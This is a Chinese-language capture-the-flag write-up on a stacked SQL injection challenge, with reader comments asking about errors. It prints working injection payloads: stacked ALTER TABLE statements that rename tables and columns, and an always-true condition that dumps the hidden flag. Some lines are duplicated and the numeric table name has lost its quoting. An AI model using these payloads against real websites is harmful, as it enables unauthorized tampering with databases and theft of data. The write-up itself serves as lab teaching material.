Write Up
前置知识
alter
修改表名 alter table 表名 rename 新表名;
修改字段名 alter table 表名 change 旧字段名 新字段名 类型;
注入过程
首先我们通过使用1' 发现报错说明是字符型单引号
根据题目标签提示有堆叠注入
我们使用1';show+tables;#获取到所有的表


然后使用show columns from 表名;获取到表中的字段名




通过观察 words表单有两列, 也就是上面的 1 和 hahahah
我们可以推测 这个表单其实是从words表中以id字段为索引获取到内容 然后返回到前台
并且后台的查询语句为"select * from words where id='".$_GET['inject']."'"
那么 我们是不是可以通过修改带flag字段的表的名字为words表 然后把flag 字段修改为id
通过三条alter语句来修改
- 修改words表名为其他的
alter table words rename words1;
- 修改1919810931114514表名为words
- alter table
1919810931114514rename words;
- alter table
- 修改新的words表中的flag列名为id
- alter table words change flag id varchar(60);
得到最终payload1';alter table words rename words1;alter table1919810931114514rename words;alter table words change flag id varchar(60);#
- alter table words change flag id varchar(60);
提交payload

然后刷新页面

发现没结果了, 原因是新的id列中的值已经变为flag值了 所以查询inject=1查不到
我们可以通过让where条件永远为正查出来所有数据
构造payload1' or '1'='1
获取到flag值


请问一下,为什么我“http://node4.anna.nssctf.cn:26504/
?inject=1';show columns from 1919810931114514;#”查不出数据,但是换成words就可以啊?
error 1146 : Table ‘supersqli.words’ doesn’t exist怎么办,能改回去吗
这思路很赞!
error 1146 : Table 'supersqli.words' doesn't exist 这是怎么回事
数字需要''括起来吗